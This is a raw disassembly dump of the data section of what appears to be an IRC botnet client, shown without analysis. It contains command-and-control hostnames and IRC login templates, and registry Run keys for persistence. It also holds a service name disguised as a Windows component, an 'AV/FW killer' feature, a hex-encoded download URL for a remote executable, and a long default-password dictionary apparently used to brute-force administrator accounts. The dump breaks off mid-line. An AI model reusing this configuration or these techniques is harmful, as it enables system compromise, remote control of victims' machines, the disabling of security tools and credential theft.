dd offset loc_422E4D align 10h dd offset loc_422E39 dd offset loc_422E3D dword_427908 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422E52+5o dd offset loc_422EA3 align 8 dd offset loc_422E8F dd offset loc_422E93 dword_427920 dd 2 dup(0) ; DATA XREF: sub_4232A8+36o ; sub_4244F4+39o ... dword_427928 dd 0FFFFFFFFh, 4233B8h, 4233BCh, 0FFFFFFFFh, 42346Ch, 423470h ; DATA XREF: sub_4232A8+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43D4DCo db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o align 10h asc_427BF0 db 0Ah ; DATA XREF: sub_423DD1+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_423DD1+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do align 10h dword_427C30 dd 0FFFFFFFFh, 4245EDh, 4245F1h ; DATA XREF: sub_4244F4+5o aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do align 10h aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_425029+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_425029+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_425973:loc_425A68o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_425973+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_425973+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_425973+ADo align 4 dd offset dword_427DAC off_427C90 dd offset loc_4260E2 ; DATA XREF: sub_4260BA+8o ; sub_4260FE+2Co ... dd offset sub_4260D5 dd offset sub_4262F6 dd offset dword_427DF8 off_427CA0 dd offset sub_42614C ; DATA XREF: sub_4260FE+3Ao ; sub_426168o ... dd offset sub_4260D5 dd offset loc_426332 dword_427CAC dd 0 ; DATA XREF: sub_4260FE+16o ; sub_4261D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426173+11o dd offset dword_427E44 off_427CCC dd offset sub_42625B ; DATA XREF: sub_426277o ; sub_42629A+37o ... dd offset sub_4260D5 dd offset loc_426314 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42629A+11o dd offset dword_427E88 off_427CEC dd offset loc_4264A5 ; DATA XREF: sub_426490o ; ___:off_43DAE4o ... dd offset dword_427EB8 off_427CF4 dd offset loc_4264C1 ; DATA XREF: sub_4264DD+8o ; sub_42651A+8o ... dd offset sub_42657A aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o align 10h dword_427D10 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_426587+Eo dd 3, 19930520h, 2 dup(0) dword_427D30 dd 0FFFFFFFFh, 426738h, 42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h ; DATA XREF: sub_426636+5o dword_427D48 dd 0FFFFFFFFh, 4269ADh, 4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh ; DATA XREF: sub_4268C1+5o dd 43DAE4h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427D78 dd offset off_43DAFC ; DATA XREF: ___:00427D90o ; ___:00427DDCo ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427D78 dd offset dword_427D48+18h dword_427D98 dd 3 dup(0) ; DATA XREF: ___:00427DBCo dd 2, 427D90h dword_427DAC dd 3 dup(0) ; DATA XREF: ___:00427C8Co dd offset off_43DAFC dd offset dword_427D98+4 off_427DC0 dd offset off_43DB1C ; DATA XREF: ___:00427DD8o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DC0 dd offset off_427D78 dd offset dword_427D48+18h dd 0 db 0 ; DATA XREF: ___:00427E08o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427DD8h dword_427DF8 dd 3 dup(0) ; DATA XREF: ___:00427C9Co dd offset off_43DB1C dd offset unk_427DE8 off_427E0C dd offset off_43DB3C ; DATA XREF: ___:00427E24o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E0C dd offset off_427D78 dd offset dword_427D48+18h dword_427E30 dd 3 dup(0) ; DATA XREF: ___:00427E54o dd 3, 427E24h dword_427E44 dd 3 dup(0) ; DATA XREF: ___:00427CC8o dd offset off_43DB3C dd offset dword_427E30+4 off_427E58 dd offset off_43DB60 ; DATA XREF: ___:00427E70o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E58 dd 0 db 0 ; DATA XREF: ___:00427E98o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427E70h dword_427E88 dd 3 dup(0) ; DATA XREF: ___:00427CE8o dd offset off_43DB60 dd offset unk_427E78 dd offset dword_427D48+18h dword_427EA0 dd 4 dup(0) ; DATA XREF: ___:00427EC8o dd 1, 427E9Ch dword_427EB8 dd 3 dup(0) ; DATA XREF: ___:00427CF0o dd offset off_43DAE4 dd offset dword_427EA0+8 align 10h dword_427ED0 dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF: ___:loc_426AA7o dd 0FFFFFFFFh, 426A90h, 0 dd offset sub_426A88 dword_427F00 dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF: ___:loc_426AC4o dd 0FFFFFFFFh, 426AB4h, 0 dd offset loc_426ABC dword_427F30 dd 19930520h, 2, 427F50h, 1, 427F60h, 3 dup(0) ; DATA XREF: ___:loc_426AD0o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427F78h, 4 dup(0) dd offset loc_40DA8E dd 0FFFFFFFFh, 426ADAh dword_427F90 dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF: ___:loc_426AE2o dd offset off_43DAE4 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42651Ah, 0 dd offset off_43DAFC dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426218h, 0 dd offset off_43DB1C align 10h dd 0FFFFFFFFh, 0 dword_427FF8 dd 1Ch, 426282h, 3, 427FE4h, 427FC8h, 427FACh ; DATA XREF: ___:0042801Co dword_428010 dd 0 ; DATA XREF: sub_426173+2Eo ; sub_4262F6+4Bo dd offset sub_426168 dd 0 dd offset dword_427FF8+8 dd 0FFFFFFFFh, 426AECh dword_428028 dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF: ___:loc_426AF4o dd 0FFFFFFFFh, 426AFEh dword_42804C dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF: ___:loc_426B06o dd 0FFFFFFFFh, 426B10h dword_428070 dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF: ___:loc_426B18o dd offset off_43DB3C align 8 dd 0FFFFFFFFh, 0 dword_4280A0 dd 1Ch, 4262DEh, 3, 42808Ch, 427FC8h, 427FACh ; DATA XREF: ___:004280C4o dword_4280B8 dd 0 ; DATA XREF: sub_42629A+2Eo ; sub_4262F6+2Do dd offset sub_426277 dd 0 dd offset dword_4280A0+8 dd 0FFFFFFFFh, 426B22h dword_4280D0 dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF: ___:loc_426B2Ao dword_4280EC dd 2, 427FC8h, 427FACh ; DATA XREF: ___:00428104o dword_4280F8 dd 0 ; DATA XREF: sub_4262F6+Fo dd offset sub_4260BA dd 0 dd offset dword_4280EC ; --------------------------------------------------------------------------- lds esp, [ebp-5A3AF03Dh] retn ; --------------------------------------------------------------------------- db 0Fh ; --------------------------------------------------------------------------- lds esp, [ebp-5A3AF03Dh] retn ; --------------------------------------------------------------------------- db 0Fh dd 0FC3A5C5h, 5 dup(70895139h), 75h dup(0) dd 70895139h, 15h dup(0) dd 0FC3A5C5h, 6 dup(0) dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041C183o dd offset loc_401205 dd offset sub_40DB3C dd offset dword_40EF1C+1D0h dword_429010 dd 0 ; DATA XREF: ___:0041C17Eo dword_429014 dd 0 ; DATA XREF: ___:0041C174o dd offset sub_41DA32 dd offset sub_420B0D dd offset sub_42413E dd offset word_424F62 dword_429028 dd 0 ; DATA XREF: ___:loc_41C16Fo dword_42902C dd 0 ; DATA XREF: sub_41C1B3+65o dd offset sub_4241E3 dword_429034 dd 0 ; DATA XREF: sub_41C1B3:loc_41C213o dword_429038 dd 0 ; DATA XREF: sub_41C1B3+76o dd offset dword_424F64+0Fh dword_429040 dd 4 dup(0) ; DATA XREF: sub_41C1B3:loc_41C224o dword_429050 dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r ; ___:0040175Ar dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_4045D8r dword_429078 dd 45h ; DATA XREF: sub_401ACD+202Er ; sub_40BD91+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403BE9r ; sub_40BD91:loc_40C182r dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403D75r word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_4046FBr align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+643r dword_42908C dd 1 ; DATA XREF: ___:0040135Er dword_429090 dd 1 ; DATA XREF: ___:loc_401562r ; sub_4188A6+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A76r ; sub_401ACD+B30r ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40AAAC+3Ar ; sub_40AAAC+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aDarksf db 'Darksf',0 ; DATA XREF: ___:0040127Eo ; sub_401ACD:loc_40445Do ... align 4 aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404902o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7BCBo ; sub_401ACD+7C9Ao align 10h aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o ; ___:0040174Bo align 4 aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o ; ___:00401761o ... align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o ; ___:00401773o align 4 byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r ; ___:00401797o aCorti1_dns2go_ db 'corti1.dns2go.com',0 align 4 aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo align 10h aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo align 4 byte_429108 db 77h ; DATA XREF: ___:00401364o ; ___:00401388w ... db 69h, 6Eh, 64h dd 76726573h, 78652E63h, 65h, 6E6E6977h, 61622E74h, 74h aWindowsSercesA db 'Windows Serces Agnt',0 ; DATA XREF: sub_401000+Eo unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7D1Do align 10h aF db '#f',0 ; DATA XREF: sub_401ACD+1E91o ; sub_401ACD+1EA2o ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+72B4o ; sub_401ACD+730Co align 4 aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40EAo ; sub_401ACD+423Ao align 4 off_42915C dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4096EBo ; "*@admin.com" off_429160 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r ; sub_401ACD+7C3Ao ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o ; sub_41A6EA+28o align 10h aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o ; sub_41A6EA+D4o align 4 dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h dd 652E6D79h, 6578h, 429938h, 429928h, 429918h, 42990Ch dd 429904h, 4298FCh, 4298F4h, 4298ECh, 4298E0h, 4298D8h dd 4298D0h, 4298C8h, 4298BCh, 4298B4h, 4298ACh, 4298A0h dd 42989Ch, 429894h, 429890h, 0 dd offset byte_43DB88 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_0 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer ; "server" dd offset aRoot ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 dword_4294CC dd 10h ; DATA XREF: sub_401ACD+AE0r ; sub_401ACD+B0Cr ... aIntranet db 'intranet',0 ; DATA XREF: ___:004294B8o align 4 aLan db 'lan',0 ; DATA XREF: ___:004294B0o aMain db 'main',0 ; DATA XREF: ___:004294ACo align 4 aWinpass db 'winpass',0 ; DATA XREF: ___:004294A8o aBlank db 'blank',0 ; DATA XREF: ___:004294A4o align 4 aOffice db 'office',0 ; DATA XREF: ___:004294A0o align 10h aControl db 'control',0 ; DATA XREF: ___:0042949Co aXp db 'xp',0 ; DATA XREF: ___:00429498o align 4 aNokia db 'nokia',0 ; DATA XREF: ___:00429494o align 4 aHp db 'hp',0 ; DATA XREF: ___:00429490o align 4 aSiemens db 'siemens',0 ; DATA XREF: ___:0042948Co aCompaq db 'compaq',0 ; DATA XREF: ___:00429488o align 4 aDell db 'dell',0 ; DATA XREF: ___:00429484o align 10h aCisco db 'cisco',0 ; DATA XREF: ___:00429480o align 4 aIbm db 'ibm',0 ; DATA XREF: ___:0042947Co aOrainstall db 'orainstall',0 ; DATA XREF: ___:00429474o align 4 aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: ___:00429470o align 4 aSql db 'sql',0 ; DATA XREF: ___:0042946Co aSa db 'sa',0 ; DATA XREF: ___:00429468o align 4 aDb1234 db 'db1234',0 ; DATA XREF: ___:00429464o align 4 aDb1 db 'db1',0 ; DATA XREF: ___:0042945Co aDatabasepasswo db 'databasepassword',0 ; DATA XREF: ___:00429458o align 4 aData db 'data',0 ; DATA XREF: ___:00429454o align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: ___:00429450o align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: ___:0042944Co align 4 aDbpass db 'dbpass',0 ; DATA XREF: ___:00429448o align 10h aAccess db 'access',0 ; DATA XREF: ___:00429444o align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: ___:0042943Co align 4 aDomainpass db 'domainpass',0 ; DATA XREF: ___:00429438o align 4 aDomain db 'domain',0 ; DATA XREF: ___:00429434o align 4 aHello db 'hello',0 ; DATA XREF: ___:00429430o align 4 aHell db 'hell',0 ; DATA XREF: ___:0042942Co align 4 aGod db 'god',0 ; DATA XREF: ___:00429428o aSex db 'sex',0 ; DATA XREF: ___:00429424o ; ___:off_438A68o aSlut db 'slut',0 ; DATA XREF: ___:00429420o align 4 aBitch db 'bitch',0 ; DATA XREF: ___:0042941Co align 4 aFuck db 'fuck',0 ; DATA XREF: ___:00429418o align 4 aExchange db 'exchange',0 ; DATA XREF: ___:00429414o align 4 aBackup db 'backup',0 ; DATA XREF: ___:00429410o align 10h aTechnical db 'technical',0 ; DATA XREF: ___:0042940Co align 4 aLoginpass db 'loginpass',0 ; DATA XREF: ___:00429408o align 4 aLogin db 'login',0 ; DATA XREF: ___:00429404o align 10h aMary db 'mary',0 ; DATA XREF: ___:00429400o align 4 aKatie db 'katie',0 ; DATA XREF: ___:004293FCo align 10h aKate db 'kate',0 ; DATA XREF: ___:004293F4o align 4 aGeorge db 'george',0 ; DATA XREF: ___:004293F0o align 10h aEric db 'eric',0 ; DATA XREF: ___:004293ECo align 4 aChris db 'chris',0 ; DATA XREF: ___:004293E8o align 10h aIan db 'ian',0 ; DATA XREF: ___:004293E4o aNeil db 'neil',0 ; DATA XREF: ___:004293E0o align 4 aLee db 'lee',0 ; DATA XREF: ___:004293DCo aBrian db 'brian',0 ; DATA XREF: ___:004293D8o align 4 aSusan db 'susan',0 ; DATA XREF: ___:004293D0o align 10h aSue db 'sue',0 ; DATA XREF: ___:004293CCo aSam db 'sam',0 ; DATA XREF: ___:004293C8o aLuke db 'luke',0 ; DATA XREF: ___:004293C4o align 10h aPeter db 'peter',0 ; DATA XREF: ___:004293C0o ; ___:004293D4o align 4 aJohn db 'john',0 ; DATA XREF: ___:004293BCo align 10h aMike db 'mike',0 ; DATA XREF: ___:004293B8o align 4 aBill db 'bill',0 ; DATA XREF: ___:004293B4o align 10h aFred db 'fred',0 ; DATA XREF: ___:004293B0o align 4 aJoe db 'joe',0 ; DATA XREF: ___:004293ACo aJen db 'jen',0 ; DATA XREF: ___:004293A8o aBob db 'bob',0 ; DATA XREF: ___:004293A4o ; ___:004293F8o aQwe db 'qwe',0 ; DATA XREF: ___:004293A0o aZxc db 'zxc',0 ; DATA XREF: ___:0042939Co aAsd db 'asd',0 ; DATA XREF: ___:00429398o aQaz db 'qaz',0 ; DATA XREF: ___:00429394o aWin2000 db 'win2000',0 ; DATA XREF: ___:00429390o aWinnt db 'winnt',0 ; DATA XREF: ___:0042938Co align 4 aWinxp db 'winxp',0 ; DATA XREF: ___:00429388o align 4 aWin2k db 'win2k',0 ; DATA XREF: ___:00429384o align 4 aWin98 db 'win98',0 ; DATA XREF: ___:00429380o align 4 aWindows db 'windows',0 ; DATA XREF: ___:0042937Co aOeminstall db 'oeminstall',0 ; DATA XREF: ___:00429378o align 10h aOemuser db 'oemuser',0 ; DATA XREF: ___:00429374o aOem db 'oem',0 ; DATA XREF: ___:00429370o aUser db 'user',0 ; DATA XREF: sub_401ACD+45CFo ; ___:0042936Co align 4 aHomeuser db 'homeuser',0 ; DATA XREF: ___:00429368o align 10h aHome db 'home',0 ; DATA XREF: ___:00429364o align 4 aAccounting db 'accounting',0 ; DATA XREF: ___:00429360o align 4 aAccounts db 'accounts',0 ; DATA XREF: ___:0042935Co align 10h aInternet db 'internet',0 ; DATA XREF: ___:00429358o ; ___:004294B4o align 4 aWww db 'www',0 ; DATA XREF: ___:00429354o aWeb db 'web',0 ; DATA XREF: sub_401ACD+7283o ; ___:00429350o aOutlook db 'outlook',0 ; DATA XREF: ___:0042934Co aMail db 'mail',0 ; DATA XREF: ___:00429348o align 4 aQwerty db 'qwerty',0 ; DATA XREF: ___:00429344o align 4 aNull_1 db 'null',0 ; DATA XREF: ___:00429340o align 4 aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Bo ; ___:00429338o align 4 aSystem db 'system',0 ; DATA XREF: ___:00429334o align 4 aChangeme db 'changeme',0 ; DATA XREF: ___:0042932Co align 10h aLinux db 'linux',0 ; DATA XREF: ___:00429328o align 4 aUnix db 'unix',0 ; DATA XREF: ___:00429324o align 10h aDemo db 'demo',0 ; DATA XREF: ___:00429320o align 4 aNone db 'none',0 ; DATA XREF: ___:0042931Co align 10h aTest db 'test',0 ; DATA XREF: ___:00429314o align 4 a2004 db '2004',0 ; DATA XREF: ___:00429310o align 10h a2003 db '2003',0 ; DATA XREF: sub_41AF8F+BAo ; ___:0042930Co align 4 a2002 db '2002',0 ; DATA XREF: ___:00429308o align 10h a2001 db '2001',0 ; DATA XREF: ___:00429304o align 4 a2000 db '2000',0 ; DATA XREF: ___:00429300o align 10h a1234567890 db '1234567890',0 ; DATA XREF: ___:004292FCo align 4 a123456789 db '123456789',0 ; DATA XREF: ___:004292F8o align 4 a12345678 db '12345678',0 ; DATA XREF: ___:004292F4o align 4 a1234567 db '1234567',0 ; DATA XREF: ___:004292F0o a123456 db '123456',0 ; DATA XREF: ___:004292ECo align 4 a12345 db '12345',0 ; DATA XREF: ___:004292E8o align 4 a1234 db '1234',0 ; DATA XREF: ___:004292E4o align 4 a123 db '123',0 ; DATA XREF: ___:004292E0o a12 db '12',0 ; DATA XREF: ___:004292DCo align 4 a1: ; DATA XREF: ___:0040AFC7o ; ___:004292D8o unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: ___:004292D4o aPwd db 'pwd',0 ; DATA XREF: ___:004292D0o aPass db 'pass',0 ; DATA XREF: ___:004292CCo align 10h aPass1234 db 'pass1234',0 ; DATA XREF: ___:004292C8o align 4 aPasswd db 'passwd',0 ; DATA XREF: ___:004292C4o align 4 aPassword db 'password',0 ; DATA XREF: ___:004292C0o align 10h aPassword1 db 'password1',0 ; DATA XREF: ___:004292BCo align 4 aAdm db 'adm',0 ; DATA XREF: ___:004292B8o aDb2 db 'db2',0 ; DATA XREF: ___:00429460o aOracle db 'oracle',0 ; DATA XREF: ___:00429478o align 4 aDba db 'dba',0 aDatabase db 'database',0 ; DATA XREF: ___:00429440o align 4 aDefault db 'default',0 ; DATA XREF: ___:00429330o aGuest_0 db 'guest',0 ; DATA XREF: ___:00429318o align 4 aWwwadmin db 'wwwadmin',0 align 4 aTeacher db 'teacher',0 ; DATA XREF: ___:004294C0o aStudent db 'student',0 ; DATA XREF: ___:004294BCo aOwner db 'owner',0 align 10h aComputer db 'computer',0 align 4 aRoot db 'root',0 ; DATA XREF: ___:0042933Co align 4 aStaff db 'staff',0 ; DATA XREF: ___:004294C4o align 4 aAdmin db 'admin',0 ; DATA XREF: ___:004292B4o align 4 aAdmins db 'admins',0 ; DATA XREF: ___:004292B0o align 4 aAdministrat db 'administrat',0 ; DATA XREF: ___:004292ACo aAdministrateur db 'administrateur',0 ; DATA XREF: ___:004292A8o align 4 aAdministrador db 'administrador',0 ; DATA XREF: ___:004292A4o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:004292A0o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429164o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429160o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_42915Co dword_4299D4 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429A08 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o aServerRunningO db '- Server running on Port: 113.',0 align 4 unk_429A34 db 2Dh ; - ; DATA XREF: ___:00401614o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 4 unk_429A74 db 2Dh ; - ; DATA XREF: ___:004015C3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_429A98 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401585o dd 2E646574h, 0 dword_429AB4 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o dword_429AC0 dd 255C7325h, 73h ; DATA XREF: ___:004013AAo dword_429AC8 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo ; sub_4100B4+EAo ... unk_429AD0 db 3 ; DATA XREF: sub_4017ED+F2o a81VrxConnected db '8,1-VrX- Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA 